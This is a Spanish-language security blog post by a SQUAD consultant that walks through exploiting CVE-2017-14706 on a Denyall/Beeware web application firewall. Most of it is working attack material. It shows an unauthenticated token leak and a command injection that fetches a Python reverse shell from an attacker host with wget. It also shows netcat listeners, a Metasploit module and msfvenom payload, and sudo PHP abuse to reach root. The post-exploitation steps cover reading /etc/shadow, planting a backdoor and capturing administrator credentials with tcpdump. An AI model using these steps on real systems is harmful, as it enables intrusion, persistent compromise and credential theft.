Volver

¿Cómo se puede explotar la vulnerabilidad CVE-2017-14706 (ejecución de código remoto sin autenticación) en un dispositivo Denyall o Beeware?

Imagen del slider

18 de diciembre de 2017

Por B. Carpentier, experto en ciberseguridad de SQUAD

Aprovechar la vulnerabilidad RCE en un dispositivo Denyall / Beeware

El objetivo de esta entrada de blog es mostraros cómo explotar la vulnerabilidad RCE en un WAF Denyall / Beeware, así como ofreceros los mejores métodos para elevar vuestros privilegios y obtener acceso de root en el dispositivo.

Este proceso te permitirá capturar las credenciales de los usuarios que inician sesión en la interfaz de administración.

1) Aprovechamiento de la vulnerabilidad

El primer paso para detectar vulnerabilidades RCE en un WAF Denyall o Beeware consiste en aprovechar las vulnerabilidades descubiertas por Mehmet Ince en la interfaz de gestión del WAF.

Permite aprovechar una vulnerabilidad que permite recuperar un token de autenticación válido sin identificarse en la interfaz.
Los procesos de la interfaz gráfica de usuario utilizan este token para autenticar sus comunicaciones.

La solicitud:

<code>
https://<targetIP>:3001/webservices/download/index.php?applianceUid=LOCALUID&typeOf=debug
</code>

La respuesta correcta es:

<code>
<?xml version= »1.0″ encoding= »UTF-8″?>
<response status= »-1″>
<error code= »STACKTRACE »><arg string= »1″>Internal error</arg></error><line>
<datetime>2017-10-30 11:02:07 (CET)</datetime>
<action></action>
<function></function>
<request>a:3:{s:6: »typeOf »;s:13: »debugInternal »;s:4: »file »;s:9: »debug.dat »;s:6: »iToken »;s:32: »RandomToken42″;}</request>
<errornum>2</errornum>
<errortype>Alerte</errortype>
<errormsg>touch(): Unable to create file /var/tmp/debug/ because Is a directory</errormsg>
<scriptname>/beeware/gui/gui_root-5.5.12/wsSource/class/filesClass.php</scriptname>
<scriptlinenum>18</scriptlinenum>
<memoryKbUsage>1280</memoryKbUsage>
</line>

</response>
</code>

Lo que nos interesa especialmente aquí es el valor del token: randomToken42. Nos permitirá autenticar las siguientes solicitudes que aprovechan una RCE.

Antes de aprovechar la RCE, vamos a configurar un servidor HTTP básico con netcat para enviar un shell inverso de Python al punto de control.

Creamos el siguiente archivo reverseShell:

<code>
HTTP/1.1 200 OK

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((« <attackerIP> »,80))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call([« /bin/sh », »-i »])
</code>

A continuación, configuramos el listener de netcat que servirá el archivo reverseShell en el puerto 80:

<code>
# nc -l -p80 -c « cat reverseShell »
</code>

Es cierto que no es muy elegante, pero la operación es rápida y fácil de llevar a cabo. Ahora utilicemos la RCE para descargar nuestro reverseShell en el objetivo:

<code>
https://<targetIP>:3001/webservices/stream/tail.php?iToken=RandomToken42&tag=tunnel&stime=4242424242&uid=$(wget http://<attackerIP> -O reverseShell.py)
</code>

Fíjate en que se vuelve a utilizar el token obtenido anteriormente: randomToken42.

Una vez subido el reverse shell, netcat debería cerrarse. Ahora lo volveremos a iniciar para recibir la conexión del reverse shell:

<code>
# nc -l -p80
</code>

Y, para terminar, ejecutamos el reverseShell utilizando el mismo RCE:

<code>
https://targetIP:3001/webservices/stream/tail.php?iToken=RandomToken42&tag=tunnel&stime=4242424242&uid=$(python reverseShell.py)
</code>

Ahora, la ventana en la que hemos ejecutado netcat nos muestra un bonito shell:

<code>
sh-4.2$
</code>

Los detalles técnicos sobre estas vulnerabilidades están disponibles aquí:pentest.blog

¿Te sorprende lo fácil que es explotar estas vulnerabilidades? Pues bien, debes saber que también existe un módulo de Metasploit para automatizarlo todo:

<code>
msf > use exploit/linux/http/denyall_waf_exec
msf > setg RHOST <targetIP>
msf > setg LHOST <attackerIP>
msf > set LPORT 443
msf > exploit
</code>

Nota: la carga útil predeterminada es «python/meterpreter/reverse_tcp»

Si el comando ha funcionado, deberías obtener algo como esto:

<code>
[*] Started reverse TCP handler on <attackerIP>:443
[*] Extracting iToken value
[+] Awesome. iToken value = <RandomToken42>
[*] Trigerring command injection vulnerability with iToken value.
[*] Sending stage (42231 bytes) to <targetIP>
[*] Meterpreter session 2 opened (attackerIP:443 -> targetIP:43614) at 2017-10-26 14:27:32 +0200
</code>

2) Elevación de privilegios

Tener una sesión de Meterpreter está bien, pero tener un shell de root es mejor. Si el primer paso te ha parecido sencillo, lo que viene a continuación puede que te haga sonreír… o no.

Antes de nada, recuperemos un shell desde Meterpreter:

<code>
meterpreter > shell
</code>

¿Quién es nuestro usuario habitual?

<code>
sh-4.2$ id
uid=1000(gui) gid=108(beeware) groups=108(beeware),1005(memsyncd)
</code>

Enumeremos sus privilegios de sudo:

<code>
sh-4.2$ sudo -l
Matching Defaults entries for gui on this host:
!env_reset

El usuario puede ejecutar los siguientes comandos en este host:

(root) SETENV: ALL, (root) NOPASSWD:
/beeware/os/reverseproxy/bin/beeware-rp, (root) /usr/sbin/ethtool, (root)
/usr/sbin/dmidecode, (root) /bin/date, (root) /etc/init.d/openntpd, (root)
/etc/init.d/networking, (root) /etc/init.d/syslog-ng, (root)
/beeware/os/transfilter/sbin/transfilter, (root) /sbin/shutdown, (root)
/etc/init.d/beeware, (root) /sbin/iptables, (root) /sbin/ebtables, (root)
/sbin/rmmod, (root) /beeware/gui/php/bin/php,


</code>

Hay una frase en particular que debería llamar su atención:

(root) /beeware/gui/php/bin/php

Esto significa que nuestro usuario puede ejecutar PHP como root, sin contraseña. Solo queda generar un shell inverso PHP y ejecutarlo con «sudo».

Nota: seguramente habrás notado que también se pueden realizar capturas con tcpdump… ¡No te preocupes, volveremos sobre ello más adelante!

La generación del reverse shell y la configuración del listener de Metasploit se realizan de la siguiente manera:

<code>
# msfvenom -p php/meterpreter_reverse_tcp LHOST=<attackerIP> LPORT=80 -f raw > reverseShell80.php
# msfconsole
msf > use exploit/multi/handler
msf > set PAYLOAD php/meterpreter_reverse_tcp
msf > setg LHOST <attackerIP>
msf > setg LPORT 80
msf > set ExitOnSession false
msf > exploit -j -z
</code>

Podemos usar Meterpreter para subir el archivo y, a continuación, ejecutarlo en un shell:

<code>
meterpreter > upload reverseShell.php
[*] uploading : reverseShell.php -> reverseShell.php
[*] uploaded : reverseShell.php -> reverseShell.php

meterpreter > shell
sh-4.2$ sudo /beeware/gui/php/bin/php -f reverseShell.php
</code>

En la otra ventana de MSF, deberías ver algo como esto:

<code>
msf exploit(handler) > [*] Meterpreter session 1 opened (<attackerIP>:80 -> <targetIP>:33951) at 2017-10-30 16:04:43 +0100
</code>

Ahora puedes interactuar con la nueva sesión de root:

<code>
msf exploit(handler) > sessions -i 1
meterpreter > shell
Process 4573 created.
Channel 0 created.
id
uid=0(root) gid=0(root) groups=0(root)
</code>

3) Post-explotación

Ahora que tenemos un shell de root, podemos recuperar el archivo /etc/shadow e instalar una puerta trasera o interceptar las credenciales de los usuarios que inician sesión en la interfaz de administración del dispositivo.

Por mi parte, aproveché para modificar el jail de Python que se muestra a los usuarios que se conectan por SSH y añadir algunos comandos útiles, entre ellos uno que me permite volver a abrir un reverse shell hacia mi máquina.

A continuación te detallo el método que utilicé para interceptar las credenciales de los usuarios.

Empezamos por obtener un shell interactivo «de verdad»:

<code>
python -c ‘import pty; pty.spawn(« /bin/bash »)’
</code>

A continuación, echamos un vistazo rápido a los servicios disponibles:

<code>
oot@Beeware:/var/beeware/logs/reverseproxy# netstat -lptn
netstat -lptn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:199 0.0.0.0:* LISTEN 23916/snmpd
tcp 0 0 127.0.0.1:4949 0.0.0.0:* LISTEN 4621/munin-node
tcp 0 0 126.246.28.39:22 0.0.0.0:* LISTEN 23443/sshd
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 3956/postgres
tcp 0 0 126.246.28.39:3001 0.0.0.0:* LISTEN 1515/beeware-gui
tcp 0 0 127.0.0.1:3001 0.0.0.0:* LISTEN 1515/beeware-gui
tcp6 0 0 127.0.0.1:48400 :::* LISTEN 24164/java
tcp6 0 0 127.0.0.2:8080 :::* LISTEN 4745/java
tcp6 0 0 127.0.0.3:8080 :::* LISTEN 4745/java
tcp6 0 0 127.0.0.3:8081 :::* LISTEN 4745/java
</code>

Tras varias capturas, se ha comprobado que las credenciales se transmiten sin cifrar a través de la interfaz localhost por el puerto TCP 8080.
Se pueden capturar y descargar el archivo PCAP de la siguiente manera:

<code>
root@Beeware:~# /usr/sbin/tcpdump -i lo -w lo_tcp8080.pcap tcp port 8080
meterpreter > download lo_tcp8080.pcap
</code>

Personalmente, me gusta Wireshark, así que lo utilizo para filtrar los paquetes que me interesan:

<code>
tcp contains pass
</code>

Espero que este artículo os sea de ayuda; no dudéis en dejar vuestros comentarios para contárnoslo 🙂